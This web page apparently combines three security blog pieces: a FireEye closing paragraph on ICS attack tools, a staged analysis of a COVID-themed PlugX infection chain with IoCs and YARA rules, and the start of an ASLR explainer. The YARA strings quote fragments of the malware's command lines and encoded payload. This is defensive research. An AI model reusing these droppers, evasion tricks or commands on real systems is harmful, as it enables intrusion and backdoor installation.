ICS-specific cyber operation tools often released by researchers and security practitioners are useful assets to help organizations learn about ongoing threats and product vulnerabilities. However, as anything publicly available, they can also lower the bar for threat actors that hold an interest in targeting OT networks. Although successful attacks against OT environments will normally require a high level of skills and expertise from threat actors, the tools and exploit modules discussed in this post are making it easier to bridge the knowledge gap.

Awareness about the proliferation of ICS cyber operation tools should serve as an important risk indicator of the evolving threat landscape. These tools provide defenders with an opportunity to perform risk assessments in test environments and to leverage aggregated data to communicate and obtain support from company executives. Organizations that do not pay attention to available ICS cyber operation tools risk becoming low-hanging fruit for both sophisticated and unexperienced threat actors exploring new capabilities.

FireEye Intelligence customers have access to the full list and analysis of ICS cyber operation tools and exploit modules. Visit our website to learn more about the FireEye Mandiant Cyber Physical Threat Intelligence subscription.

Is APT27 Abusing COVID-19 To Attack People ?!

Scenario

We are living hard time, many countries all around the world are hit by COVID-19 which happened to be a very dangerous disease. Unfortunately many deaths, thousands of infected people, few breathing equipment, stock burned Billion of dollars and a lot of companies are entering into a economic and financial crisis. Governments are doing their best to mitigate such a virus while people are stuck home working remotely using their own equipment.

In that scenario, jackals are luring people using every dirty way to attack their private devices. At home it’s hard to have advanced protection systems as we have in companies. For example it’s hard to have Intrusion Prevention Systems, proxies, advanced threat protection, automated sandbox and again advanced end-point protections letting personal devices more vulnerable to be attacked. In this reality ruthless attackers abuse of this situation to attack digitally unprotected people.

Today many reports are describing how infamous attackers are abusing such an emergency time to lure people by sending thematic email campaign or by using thematic IM within Malware or Phishing links. Following few of them that I believe would be a nice reading:

Today I want to contribute to such a blog-roll analyzing a new spreading variant that hit my observatory. I want to “spoil” the conclusions now, but it’s getting pretty sad if an APT group makes use of its knowledge to take advance from today’s situation.

Stage 1

The first stage is a fake PDF file. It looks like a real PDF, it has a hidden extension and a nice PDF icon, but it really isn’t a PDF, it’s actually a .lnk file, or in other words a “Microsoft Linking File”.

Sha25695489af84596a21b6fcca078ed10746a32e974a84d0daed28cc56e77c38cc5a8
ThreatDropper and Execution
Ssdeep24576:2D9JuasgfxPmNirQ2dRqZJuH3eBf9mddWoX+KIKoIkVrI:2DzuOxPm0iZLKIKRkq
DescriptionFake PDF file used to run initial infection chain

Opening up the .lnk file we might appreciate a weird linking pattern. Two main sections: one is a kind of header where it is possible to observe commands, and the other section is a big encoded payload.

.lnk file

Once beautified the first section it looks easier to understand what it does. It basically copies itself into a temporary folder (through cmd.exe), it extracts bytes from its body (from section two), it decodes such a bytes from Byte64 (through msoia.exe ) and it places the extracted content into the temporary user folder. It deflates the content (through expand) and it finally it executes a javascript file (through wscript) which was included into the compressed content. The following image shows the beautified code section of the analyzed file.

Beautified .lnk file

It is quite nice to see how the attacker copied certutils from local system, by using (*ertu*.exe) in order to avoid command line detection from public sandboxes. Indeed many sandboxes have signatures on certutils, since it’s quite a notorious tool used by some attackers, so that avoiding the behavior signature match it would take a lower score from public sandboxes.

Stage 2

Stage 1 carved Stage 2 from its body by extracting bytes and decoding them using base64 encoding. The new stage is a Microsoft compressed CAB file described in the following table.

Sha256f74199f59533fbbe57f0b2aae45c837b3ed5e4f5184e74c02e06c12c6535f0f9
ThreatMalware Carrier/Packer/Compressor
Ssdeep24576:CkL6X/3PSCuflrdNZ4J00ZcmNh3wsAR36Mge:vLK/fS200ZcYh3kqpe
DescriptionMicrosoft CAB bringing contents

Extracting files from Microsoft CAB we observe 6 more files entering in the battlefield:

  • 20200308-sitrep-48-covid-19.pdf. The original PDF from WHO explaining the COVID-19 status and how to fight it.
  • 3UDBUTNY7YstRc.tmp. PE32 Executable file (DLL)
  • 486AULMsOPmf6W.tmp. PE32 Executable (GUI)
  • 9sOXN6Ltf0afe7.js. Javascript file (called by .lnk)
  • cSi1r0uywDNvDu.tmp. XSL StyleSheet Document
  • MiZl5xsDRylf0W.tmp. Text file including PE32 file

Stage 1 executes the Javascript included in the CAB file. 9sOXN6Ltf0afe7.js performs an ActiveXObject call to WScript.Shell in order to execute Windows command lists. Once” deobfuscated” and beautified the command line looks like the following (9sOXN6Ltf0afe7.js payload beautified) . The attacker creates a folder that looks like a “file” by calling it cscript.exe trying to cheat the analyst. Then the attacker populates that folder with the needed files to follow the infection chain.

9sOXN6Ltf0afe7.js payload “deobfuscated”

A special thought goes to WINRM.VBS which helped the attacker to execute Signed Script Proxy Execution (T1216). According to Microsoft: “WINRM is the CLI interface to our WS-MGMT protocol. The neat thing about this is that you can call it from PowerShell to manage remote systems that don’t have PowerShell installed on them (including Server Core systems and Raw hardware).” The attacker also places a file called Wordcnvpxy.exe on the OFFICE12 folder. We will analyze it in a few steps but at that stage we might observe that is the “last call” before luring the victim by showing the good PDF file (also included in the CAB). But according with 9sOXN6Ltf0afe7.js the first run is on WsmPty.xsl which is the renamed version of cSi1r0uywDNvDu.tmp.

Stage 3

Stage 3 is run by stage 2 and it is a XSL (StleSheet Office file) wrapping a VBScript object.

Sha2569d52d8f10673518cb9f19153ddbe362acc7ca885974a217a52d1ee8257f22cfc
ThreatPayload Extractor and Command Executor
Ssdeep96:46Pdv3fOYCeeapSCDIKufYS2VGsBu746WJCSmCZyAcGghF:fh3fOYneaLDIgnNEFCZyAcGsF,
DescriptionDecode Additional Stage by using coding charsets and XOR

The following VBScript is run through cscript.exe, It’s an obfuscated and xor-encrypted payload. The encryption is performed by a simple xor having as key the single byte 0 while the encoding procedure is a multi conversion routine which could be summarized as follows:

chr(asc(chr(“&h”&mid(x,y,2))))

VBScript Stage3

The attacker tried to confuse the analyst by reusing variable names in private or local contexts, but after a couple of minutes, you might eventually come out with the following decryption loop.

Decryption Loop

If you run it against the embedded payload you will eventually see a new stage: Stage 4. A brand new script targeting old version of MSOffice.

Stage 4

Stage 4 is decoded and run by Stage 3. That stage runs an attacker version of MSOSTYLE.exe copied from Stage 2. It hijacks method on an old office 2007 component (Office Data Provider for – MSOSTYLE.exe).

Sha3567f230a023a399b39fa1994c3eaa0027d6105769fffaf72918adebf584edc6fe0
ThreatPersistence and Execution
Ssdeep48:zKxYaDzzXRrVHyMqHeIyJwlLGvTlGrbaTFGNT93TPTxGVhTG6TWWWsKj390C9nEm:zKxjDRt+e1sGvJG3aRGNNDtGLLqP5j3N
DescriptionSet persistence on the target system (Script File)

The following image shows the decrypted and decoded Stage. It’s quite clear the attacker wants to get persistence on the target machine and to run additional payload by abusing MSOSTYLE.exe (old component) placed in the “right folder” from stage 2. The persistence is guaranteed by adding a link called Accessories.lnk inside the startup windows folder pointing to: MiZl5xsDRylf0W.tmp.

Powershell Stage 4

Stage 5

Stage 5 is activated by Stage 2 but only after the execution of Stage 3 and Stage 4. Stage 5 is a multi-step session composed by the following additional artifacts: (i) 3UDBUTNY7YstRc.tmp renamed by Stage 2 into OINFO12.OCX and (ii) MiZl5xsDRylf0W.tmp renamed by Stage 2 into Wordcnvpxy.exe . Every single artifact is available after the execution of Stage 2 into the crafted folder called: OFFICE12 from the user home.

Sha256604679789c46a01aa320eb1390da98b92721b7144e57ef63853c3c8f6d7ea85d
ThreatRemote Control, depending on usage
Ssdeep536:/4yuzgQ5WugrQ+SccIp1t4xO67y5qHae:gyuzgKwr9bB1t4xO67y5j,
DescriptionOffice Data Provider for WBEM, not malicious but accountable.

MSOSTYLE.EXE is an old Microsoft Office Data Provider for WBEM. Web-Based Enterprise Management (WBEM) comprises a set of systems-management technologies developed to unify the management of distributed computing environments. So it could not be considered malicious, but it could be considered accountable of the entire infection chain.

Sha256a49133ed68bebb66412d3eb5d2b84ee71c393627906f574a29247d8699f1f38e
ThreatPlugX, Command Execution
Ssdeed768:jxmCQWD+TAxTRh40XfEDDnFt4AczonsT:MC5bw+zosT
DescriptionA runner plus Command Execution, Pluging Manager

At the time of writing only three AVs detect OINFO12.OCX as a malicious file. Rising AV is actually the only company which attributes it to a well-known PlugX sample. According with Trend Micro, the PlugX malware family is well known to researchers having samples dating back to as early as 2008. PlugX is a fully featured Remote Access Tool/Trojan (RAT) with capabilities such as file upload, download, and modification, keystroke logging, webcam control, and access to a remote cmd.exe shell.

OINFO12.OCX VT coverage

Taking it on static analysis it will expose three callable functions: DeleteOfficeData (0x10001020), GetOfficeData (0x10001000) and EntryPoint 0x100015ac).

Both of the methods DeleteOfficeData and GetOfficeData looks like recalling a classic method to hijacking old Office Parser (take a look to here and figure 3 in here ) to execute commands.

DeleteOfficeData (0x10001020)
GetOfficeData (0x10001000)

Indeed if run from its Entry Point, the DLL executes Wordcnvpxy.exe (as it is the default plugin component). The executable DLL must be in the same path of Wordcnvpxy.exe and it needs to have such a filename (imposed by Stage 2 and hardcoded into the library). On the other side of the coin if commands are passed through stdin, it executes the given parameters as commands.

No Input Commands, Wordcnvpxy execution

The following image shows when parameters are given and Commands are executed.

Commands Execution

Finally we have Wordcnvpxy.exe which is run in the same stage (Stage 5) by OINFO12.OCX . At the time of writing, it is well-known from static engines, it looks like a standard backdoor beacon-ing to own command and control installed as PlugX module.

Sha256002c9e0578a8b76f626e59b755a8aac18b5d048f1cc76e2c12f68bc3dd18b124
ThreatPlugX, Backdoor
Ssdeep1536:9/dlJMLIU94EYayTdHP6rUkn16O41yWCzB:93JsZxePUAFgWCz
DescriptionProbably one of the last stages, beaconing VS C2 and executing external commands
Wordcnvpxy VT coverage

The sample uses dynamic function loading avoiding static enumeration and guessing. It grabs information on the victim, PC-name, username, IP-location and send them to C2 as a first beacon.

Dynamic Loading function calls

The used Command and Control resolves to the following URL hxxp://motivation[.]neighboring[.]site/01/index.php

Command and Control

Unfortunately the attacker has shut down everything few hours after I started my analysis, so that I do not have more information about network, commands and additional Plugins. However the overall structure reminds me PlugX RAT as nicely described here.

Attribution

According to MITRE (BTW thank you @Arkbird_SOLG for the great suggestions on attribution) PlugX is a well known RAT attributed to China’s APT. APT27 (aka Emissary Panda) are the mostly notable APT group that used it. Moreover (thanks to @Arkbird_SOLG) “[…] on China culture, hijacking method are a mandatory knowledge for a job like pentesting […]” which could enforce the theory of APT27

UPDATE: I am aware that PlugX is today an opensource RAT, and I am aware that this is not enough for attribution. Indeed the intent of the title is to put doubts on that attribution by the usage of “?” (question mark). On one hand PlugX historically has been attributed to APT27 but on the other hand it’s public. So it’s hard to say Yes or Not, for such a reason the intent of this blog post is: Is APT27 Abusing COVID-19 To Attack People ?!. It’s an Open question not a position.

We all are passing a bad time. COVID-19 caused many death and is threatening entire economies. Please, even if you are an attacker and you gain profit from you infamous job, stop cyber attacks against peoples that are suffering this pandemic and rest. Ethics and compassion should be alive – even behind you monitors.

IoC

  • 95489af84596a21b6fcca078ed10746a32e974a84d0daed28cc56e77c38cc5a8 (original .lnk)
  • f74199f59533fbbe57f0b2aae45c837b3ed5e4f5184e74c02e06c12c6535f0f9 (Stage 2)
  • 9d52d8f10673518cb9f19153ddbe362acc7ca885974a217a52d1ee8257f22cfc (Stage 3)
  • 7f230a023a399b39fa1994c3eaa0027d6105769fffaf72918adebf584edc6fe0 (Stage 4)
  • a49133ed68bebb66412d3eb5d2b84ee71c393627906f574a29247d8699f1f38e (Stage 5/a)
  • 002c9e0578a8b76f626e59b755a8aac18b5d048f1cc76e2c12f68bc3dd18b124 (Stage 5/b)
  • hxxp://motivation[.]neighboring[.]site/01/index.php (C2)

Yara (auto)

import "pe"

rule MiZl5xsDRylf0W {
   meta:
      description = "yara - file MiZl5xsDRylf0W.tmp"
      date = "2020-03-17"
      hash1 = "b578a237587054f351f71bd41bede49197f77a1409176f839ebde105f3aee44c"
   strings:
      $s1 = "%ls\\%S.exe" fullword wide
      $s2 = "%XFTpX7m5ZvRCkEg" fullword ascii
      $s3 = "SK_Parasite, Version 1.0" fullword wide
      $s4 = "DINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPAD" ascii
      $s5 = "DINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD" fullword ascii
      $s6 = "SKPARASITE" fullword wide
      $s7 = "default" fullword ascii /* Goodware String - occured 709 times */
      $s8 = "59xf4qy-YXn-pkuXh=x3CXPHCcs3dXFlCtr3Cc4H4XufdZjmAZe3Ccxuibvm592g" fullword ascii
      $s9 = "SK_Parasite" fullword wide
      $s10 = "KOeS5OEThZjnYazMJ7p3Ccx-ptAMKuUMLlPEID2=Kn4XLqTM4WhSAKAHAbRMxXsa5Xj-AazEAqzEAqgg" fullword ascii
      $s11 = "ZXsDCcsTA80HdkET" fullword ascii
      $s12 = "8c9h9q9" fullword ascii /* Goodware String - occured 1 times */
      $s13 = "<&<,<6<<<F<O<Z<_<h<r<}<" fullword ascii /* Goodware String - occured 1 times */
      $s14 = "5$5@5\\5`5" fullword ascii /* Goodware String - occured 1 times */
      $s15 = "About SK_Parasite" fullword wide
      $s16 = "1/2A2o2" fullword ascii /* Goodware String - occured 1 times */
      $s17 = "z2bqw7k90rJYALIQUxZK%sO=hd5C4piVMFlaRucWy31GTNH-mED8fnXtPvSojeB6g" fullword ascii
      $s18 = "PQQQQQQWQf" fullword ascii
      $s19 = "Copyright (C) 2020" fullword wide
      $s20 = "1)1p1z1" fullword ascii /* Goodware String - occured 1 times */
   condition:
      uint16(0) == 0x0300 and filesize < 200KB and
      8 of them
}

rule sig_9sOXN6Ltf0afe7 {
   meta:
      description = "yara - file 9sOXN6Ltf0afe7.js"
      date = "2020-03-17"
      hash1 = "70b8397f87e4a0d235d41b00a980a8be9743691318d30293f7aa6044284ffc9c"
   strings:
      $x1 = "var e7926b8de13327f8e703624e = new ActiveXObject(\"WScript.Shell\");e7926b8de13327f8e703624e.Run (\"cmd /c mkdir %tmp%\\\\cscrip" ascii
      $x2 = "&for /r C:\\\\Windows\\\\System32\\\\ %m in (cscr*.exe) do copy %m %tmp%\\\\cscript.exe\\\\msproof.exe /y&move /Y %tmp%\\\\cSi1r" ascii
      $x3 = "ss?Handle=4 -format:pretty&del \\\"%userprofile%\\\\OFFICE12\\\\Wordcnvpxy.exe\\\" /f /q&ping -n 1 127.0.0.1&move /Y %tmp%\\\\48" ascii
      $x4 = "var e7926b8de13327f8e703624e = new ActiveXObject(\"WScript.Shell\");e7926b8de13327f8e703624e.Run (\"cmd /c mkdir %tmp%\\\\cscrip" ascii
      $x5 = "p %tmp%\\\\cscript.exe\\\\WsmPty.xsl&%tmp%\\\\cscript.exe\\\\msproof.exe //nologo %windir%\\\\System32\\\\winrm.vbs get wmicimv2" ascii
      $s6 = "/b %tmp%\\\\2m7EBxdH3wHwBO.tmp+%tmp%\\\\MiZl5xsDRylf0W.tmp \\\"%userprofile%\\\\OFFICE12\\\\Wordcnvpxy.exe\\\" /Y&\\\"%tmp%\\\\2" ascii
      $s7 = "6W.tmp \\\"%userprofile%\\\\OFFICE12\\\\MSOSTYLE.EXE\\\"&move /Y %tmp%\\\\3UDBUTNY7YstRc.tmp \\\"%userprofile%\\\\OFFICE12\\\\OI" ascii
      $s8 = "48-covid-19.pdf\\\"\",0);" fullword ascii
      $s9 = "e7926b8de13327f8e703624e" ascii
   condition:
      uint16(0) == 0x6176 and filesize < 2KB and
      1 of ($x*) and all of them
}

rule sig_3UDBUTNY7YstRc {
   meta:
      description = "yara - file 3UDBUTNY7YstRc.tmp"
      date = "2020-03-17"
      hash1 = "a49133ed68bebb66412d3eb5d2b84ee71c393627906f574a29247d8699f1f38e"
   strings:
      $x1 = "cmd /c notepad.exe" fullword ascii
      $x2 = "dllexec.dll" fullword ascii
      $s3 = "cmd /c calc.exe" fullword ascii
      $s4 = "Wordcnvpxy.exe" fullword ascii
      $s5 = "GetOfficeData" fullword ascii
      $s6 = "273<3]3b3" fullword ascii /* Goodware String - occured 1 times */
      $s7 = "2>2K2W2_2g2s2" fullword ascii /* Goodware String - occured 1 times */
      $s8 = "uTVWhY#" fullword ascii
      $s9 = "DeleteOfficeData" fullword ascii
      $s10 = "9#:=:N:" fullword ascii /* Goodware String - occured 1 times */
      $s11 = "URPQQhpB" fullword ascii
      $s12 = "6#6*626:6B6N6W6\\6b6l6u6" fullword ascii /* Goodware String - occured 2 times */
      $s13 = "0#0-030I0N0V0\\0c0i0p0v0~0" fullword ascii
      $s14 = "4.464<4F4L4V4\\4f4o4z4" fullword ascii
      $s15 = "<$=1=;=I=R=\\=" fullword ascii
      $s16 = ">->3>9>O>g>" fullword ascii
      $s17 = "5r5L6T6l6" fullword ascii
      $s18 = "1#1*191>1D1M1m1s1" fullword ascii
      $s19 = ":%:K:Q:{:" fullword ascii
      $s20 = "5(5L5X5\\5`5d5h5" fullword ascii /* Goodware String - occured 4 times */
   condition:
      uint16(0) == 0x5a4d and filesize < 100KB and
      ( pe.imphash() == "abba83cce6a959dc431917a65c5fe7ca" and ( pe.exports("DeleteOfficeData") and pe.exports("GetOfficeData") ) or ( 1 of ($x*) or 4 of them ) )
}

rule sig_20200308_sitrep_48_covid_19________pdf {
   meta:
      description = "yara - file 20200308-sitrep-48-covid-19.pdf.lnk"
      date = "2020-03-17"
      hash1 = "d54d85e3044a05bdafee9f30f7604ee584db91944a5149cc9e0f65f381d85492"
   strings:
      $x1 = "TVNDRgAAAADWPw0AAAAAAEwAAAAAAAAAAwEFAAYAAACtJwAAKgEAABsAAQAT6QsAAgABAC5lDAADAAEARvcMAAEAAQBbOA0AAQABABUTDQAAAAAAAABpUJOkIAAyMDIw" ascii
      $s2 = "jS61LWA3O0LZjbyOyM+Th5BHkL/6NtKERZApZAvWg3QiB7HuGbdfdfIMVwXLDLL9nVOdKplM1TlFlO5ESifhf5tgzpqP9DZt2dfrfTPS/+ZIBLzWJ99g9xXWv91bOiOD" ascii
      $s3 = "wXEkU5x/pIsmFrJtNHbdwG+bszpTRFThzR7p/shOst0DW0ZFKeRdhc/kM7yZKiZM0LkwrconqjQ3wYPZ7MTqq6M91IEWmt0TYiRCrUlVHk0W63x4OVNkZBjH3umhhGbW" ascii
      $s4 = "pUnp5YF5MVzpQVVZGZ3vjyftPMSfwPbgfq+oOoRAAyP6ZnheN9Or9fx8glHHDnXKm8PTjPiuhWhq74VNkEWr+gACxYi/wwj+yrQNyWULOGigcjQQ6ze7Zgp48Bny4X8v" ascii
      $s5 = "1WxCb+ZUBMNpgdQ9VM6Pbm/a3lOho1gNxYjJoenk4InBUmvbgaGreBVEPcshY3J0VUdR35An5FULDqPNKxb5raGeTLpm5548XATYLogWT8E22FhAi+V4d0q3ck1gZSqw" ascii
      $s6 = "GEeEP7OJ3H9kNW2EPOUbKglcK2+vp//RmYt0D/CDulYi6iBikEye9CzxoMuCHgaF8hfJC8DaiQG6B/+lrCggdq54tM4fP9SAqhqBWxW1YVMoKHKrLKhWRlMhlYtoUDbV" ascii
      $s7 = "H/sC8wh3rLxj+gB3VC89yuytzdbGEK3P9U2mmfZGvCPYQlBQgXUXRc8UuNfknuIxjz3CsTDq0QPYPvLj9sHAaK6EoZ3tzZGNYDZBV1szVLoGm4wtS68/jiqvVtmPtKB6" ascii
      $s8 = "fauCRyQIlXVt+r5GYoBBBlfOQqImEkWo6+WlQTSwYS6smIFGhlOgf7AQ4ovS1utu5CdOQaEjc8UwcEx752927tdeRp8xVz4LlZVh/2KEKumMtVfbk1vucomNeqcRsJi6" ascii
      $s9 = "yd2OnvWZvuUQw3aLFzorH9uYxOItXtCmdMmUJP9GKGsdR2VRmYbpkfJ9I5JlbjB2nR28vsrlyOLvHeftPpJaqAb2+eY3ks7r6ewL6JeeS12Gw+8/OrnmTiIrWapEgObL" ascii
      $s10 = "RhSzuRlKjfLOgyDj4lOfKOsiZNdxLSHCfbS/kEYl0BslYnQ7YtwYOHZlbWNtSdEUhvb4kKsY/+AobmfLilpGotYo3vEBKu8hhbFE1Jrc+GYGxDRue6300wqLbdIKezBr" ascii
      $s11 = "cFHaggy5a+rMrMKC4rKmWdNudM/QWEwp2clOa3lRns1Y4qmtaE5STCmdnj+hITcnvc5eyekbDY568+RUHAxtOr8y3S/vmt9OfY7y/dLNNNLQofyTgt4T7G3abUZ1bNG1" ascii
      $s12 = "VjEg4DubcQ2BtwOwevQAyxdM/FzIuPehNRKJnyLk8q2jPd+UucexECuRJKkRJ0NnnGBEv7sjLuODcKIJHEX8JgyVAcq/DoPewYcsHY8Rh9NeC2fnR6OLLctWM2n53KUn" ascii
      $s13 = "nS8AHUkUzud+yCzW6SCpcW1LiQEWsA8B0zucbgdLVskYWhOLinfePmJ6k6CUgOpcd8fVzMTGRbjV6YyhJjWxlOGgyp7v+q5MGCVbXGwpGM/1xk73XpXhTTPABA+Atm1v" ascii
      $s14 = "KeyEC9M1uHqOE/KCRd902gmpYSK9Ep1sCtzpOqSfNfLHLGoTxu3zjMaEjJ8Dw4/VNYHZo4t5c2CPkSZskDGEYG9rz8HeDf4+Hd3t7y/CyEFD89WV2zsspTFMHnSiyp3t" ascii
      $s15 = "CcCdVZZhyydWDx5BFEKNrLqFB/YFtIaCbuk52NxcwOWQ4muYqVQDbXvcIi/mrR2bXPO1koVLNJbK28cDGFSGXFGg9YXl+YxZkEYe14fqauAf3E/rZcpNs5kCKmv5y5W4" ascii
      $s16 = "cnhkpPaBto41NCLi/eWl360SSHxRUUZsmZ2dnY3wlvb2T+Nu2mRSpYtAlikPNxFZa8nOIodAkeyEVi1SsSRQngbhvRq5LpJOPh4ldQ1N+56agooQr+W0oFa2KXNsEetV" ascii
      $s17 = "FIwtpdre2Wmnc21tda09FKpZefVL43grfymCTd5K56sLOgontwiwYn1nYgVnGJPP/LVQ4JKa1rFFA3Y0HSBBKwuTrFmOAdIJwhoTUrZzBokdMSD931UQuVHTXaMnRz10" ascii
      $s18 = "VGO9VokrQADVECqvw3oyurkmSN5/sSpYnNf7Wi/ECAUmGg/S5qDAyFTPbyfhqOI58HyFRC846KnQDdn72pSAno4kdaeMLOelzq3b6bXV5l2VPj4wQfNl0GZCuJMn7LTR" ascii
      $s19 = "TXxf/IllO3bWzFUJaAMLlRUnogcNa2x0VENzHR6cEaOx79lHSoQxYVHwSUfmEjZoZ2pROh7H1UCMdmJR/3wD2YF9x4MoF5dJQiiAhb4NH9781LGhwW6JqODySrvw3EGT" ascii
      $s20 = "lTvLNEAvdSOFqYwbinqsSVNmUDf6zYKeYafaDjqm8gebMsHURHBynktlSzDsefxSefP1Q1h15TkkR3m/j6/umso0tMFngezzB4SUvUoqb1BMzfPSHU+4EpvSvStNQjKe" ascii
   condition:
      uint16(0) == 0x5654 and filesize < 3000KB and
      1 of ($x*) and 4 of them
}

rule sig_486AULMsOPmf6W {
   meta:
      description = "yara - file 486AULMsOPmf6W.tmp"
      date = "2020-03-17"
      hash1 = "604679789c46a01aa320eb1390da98b92721b7144e57ef63853c3c8f6d7ea85d"
   strings:
      $x1 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"><assemblyIdentity version=\"1.0.0.0\" processorArch" ascii
      $s2 = "emblyIdentity type=\"win32\" name=\"Microsoft.VC80.CRT\" version=\"8.0.50608.0\" processorArchitecture=\"x86\" publicKeyToken=\"" ascii
      $s3 = "0Mscoree.dll" fullword ascii
      $s4 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"><assemblyIdentity version=\"1.0.0.0\" processorArch" ascii
      $s5 = "t:\\misc\\x86\\ship\\0\\oinfop12.pdb" fullword ascii
      $s6 = "_tWinMain (Ship) commandline='%s'" fullword ascii
      $s7 = "PrintPostScriptOverText" fullword wide
      $s8 = "InstallLang" fullword wide /* base64 encoded string '"{-jYKjx' */
      $s9 = "re=\"X86\" name=\"OINFOP12.EXE\" type=\"win32\"></assemblyIdentity><description>OInfo</description><dependency><dependentAssembl" ascii
      $s10 = "SetOfficeProperties -- PublisherPageSetupType" fullword ascii
      $s11 = "\\ship\\0\\oinfop12.exe\\bbtopt\\oinfop12O.pdb" fullword ascii
      $s12 = "GetOffice type for '%S'" fullword ascii
      $s13 = "TemplateCount" fullword wide
      $s14 = "Win32_Word12Template" fullword wide
      $s15 = "'OInfoP12.EXE'" fullword ascii
      $s16 = "Queued_EventDescription= " fullword wide
      $s17 = "COfficeObj::Initialize, user='%S', namespace='%S'" fullword ascii
      $s18 = "TabIndentKey" fullword wide
      $s19 = "Win32_WebConnectionErrorMessage" fullword wide
      $s20 = "OInfo12.OCX" fullword wide
   condition:
      uint16(0) == 0x5a4d and filesize < 300KB and
      ( pe.imphash() == "3765c96e932e41e0de2bd2ed71ef99ad" or ( 1 of ($x*) or 4 of them ) )
}

Six Facts about Address Space Layout Randomization on Windows

Overcoming address space layout randomization (ASLR) is a precondition of virtually all modern memory corruption vulnerabilities. Breaking ASLR is an area of active research and can get incredibly complicated. This blog post presents some basic facts about ASLR, focusing on the Windows implementation. In addition to covering what ASLR accomplishes to improve security posture, we aim to give defenders advice on how to improve the security of their software, and to give researchers more insight into how ASLR works and ideas for investigating its limitations.

Memory corruption vulnerabilities occur when a program mistakenly writes attacker-controlled data outside of an intended memory region or outside intended memory’s scope. This may crash the program, or worse, provide the attacker full control over the system. Memory corruption vulnerabilities have plagued software for decades, despite efforts by large companies like Apple, Google, and Microsoft to eradicate them.

Since these bugs are hard to find and just one can compromise a system, security professionals have designed failsafe mechanisms to thwart software exploitation and limit the damage should a memory corruption bug be exploited. A “silver bullet” would be a mechanism to make exploits so tricky and unreliable that buggy code can be left in place, giving developers the years they need to fix or rewrite code in memory-safe languages. Unfortunately, nothing is perfect, but address space layout randomization (ASLR) is one of the best mitigations available.

ASLR works by breaking assumptions that developers could otherwise make about where programs and libraries would lie in memory at runtime. A common example is the locations of gadgets used in return-oriented programming (ROP), which is often used to defeat the defense of data execution prevention (DEP). ASLR mixes up the address space of the vulnerable process—the main program, its dynamic libraries, the stack and heap, memory-mapped files, and so on—so that exploit payloads must be uniquely tailored to however the address space of the victim process is laid out at the time. Writing a worm that propagates by blindly sending a memory corruption exploit with hard-coded memory addresses to every machine it can find is bound to fail. So long as the target process has ASLR enabled, the exploit’s memory offsets will be different than what ASLR has selected. This crashes the vulnerable program rather than exploiting it.

Fact 1: ASLR was introduced in Windows Vista. Pre-Vista versions of Windows lacked ASLR; worse, they went to great lengths to maintain a consistent address space across all processes and machines.

Windows Vista and Windows Server 2008 were the first releases to feature support for ASLR for compatible executables and libraries. One might assume that prior versions simply didn’t randomize the address space, and instead simply loaded DLLs at whatever location was convenient at the time—perhaps a predictable one, but not necessarily the same between two processes or machines. Unfortunately, these old Windows versions instead went out of their way to achieve what we’ll call “Address Space Layout Consistency”. Table 1 shows the “preferred base address” of some core DLLs of Windows XP Service Pack 3.

DLL

Preferred Base Address

ntdll

0x7c900000

kernel32

0x7c800000

user32

0x7e410000

gdi32

0x77f10000

Table 1: Windows DLLs contain a preferred base address used whenever possible if ASLR is not in place

When creating a process, pre-Vista Windows loads each of the program’s needed DLLs at its preferred base address if possible. If an attacker finds a useful ROP gadget in ntdll at 0x7c90beef, for example, the attacker can assume that it will always be available at that address until a future service pack or security patch requires the DLLs to be reorganized. This means that attacks on pre-Vista Windows can chain together ROP gadgets from common DLLs to disable DEP, the lone memory corruption defense on those releases.

Why did Windows need to support preferred base addresses? The answer lies in performance and in trade-offs made in the design of Windows DLLs versus other designs like ELF shared libraries. Windows DLLs are not position independent. Especially on 32-bit machines, if Windows DLL code needs to reference a global variable, the runtime address of that variable gets hardcoded into the machine code. If the DLL gets loaded at a different address than was expected, relocation is performed to fix up such hardcoded references. If the DLL instead gets loaded as its preferred base address, no relocation is necessary, and the DLL’s code can be directly mapped into memory from the file system.

Directly mapping the DLL file into memory is a small performance benefit since it avoids reading any of the DLL’s pages into physical memory until they are needed. A better reason for preferred base addresses is to ensure that only one copy of a DLL needs to be in memory. Without them, if three programs run that share a common DLL, but each loads that DLL at a different address, there would be three DLL copies in memory, each relocated to a different base. That would counteract a main benefit of using shared libraries in the first place. Aside from its security benefits, ASLR accomplishes the same thing—ensuring that the address spaces of loaded DLLs won’t overlap and loading only a single copy of a DLL into memory—in a more elegant way. Because ASLR does a better job of avoiding overlap between address spaces than statically-assigned preferred load addresses ever could, manually assigning preferred base addresses provides no optimization on an ASLR-capable OS, and is not needed any longer in the development lifecycle.

Takeaway 1.1: Windows XP and Windows Server 2003 and earlier do not support ASLR.

Clearly, these versions have been out of support for years and should be long gone from production use. The more important observation relates to software developers who support both legacy and modern Windows versions. They may not realize that the exact same program can be more secure or less secure depending on what OS version is running. Developers who (still!) have a customer base of mixed ASLR and non-ASLR supporting Windows versions should respond to CVE reports accordingly. The exact same bug might appear non-exploitable on Windows 10 but be trivially exploitable on Windows XP. The same applies to Windows 10 versus Windows 8.1 or 7, as ASLR has become more capable with each version.

Takeaway 1.2: Audit legacy software code bases for misguided ideas about preferred load addresses. 

Legacy software may still be maintained with old tools such as Microsoft Visual C++ 6. These development tools contain outdated documentation about the role and importance of preferred load addresses. Since these old tools cannot mark images as ASLR-compatible, a “lazy” developer who doesn’t bother to change the default DLL address is actually better off since a conflict will force the image to be rebased to an unpredictable location!

Fact 2: Windows loads multiple instances of images at the same location across processes and even across users; only rebooting can guarantee a fresh random base address for all images.

ELF images, as used in the Linux implementation of ASLR, can use position-independent executables and position-independent code in shared libraries to supply a freshly randomized address space for the main program and all its libraries on each launch—sharing the same machine code between multiple processes even where it is loaded at different addresses. Windows ASLR does not work this way. Instead, each DLL or EXE image gets assigned a random load address by the kernel the first time it is used, and as additional instances of the DLL or EXE are loaded, they receive the same load address. If all instances of an image are unloaded and that image is subsequently loaded again, the image may or may not receive the same base address; see Fact 4. Only rebooting can guarantee fresh base addresses for all images systemwide.

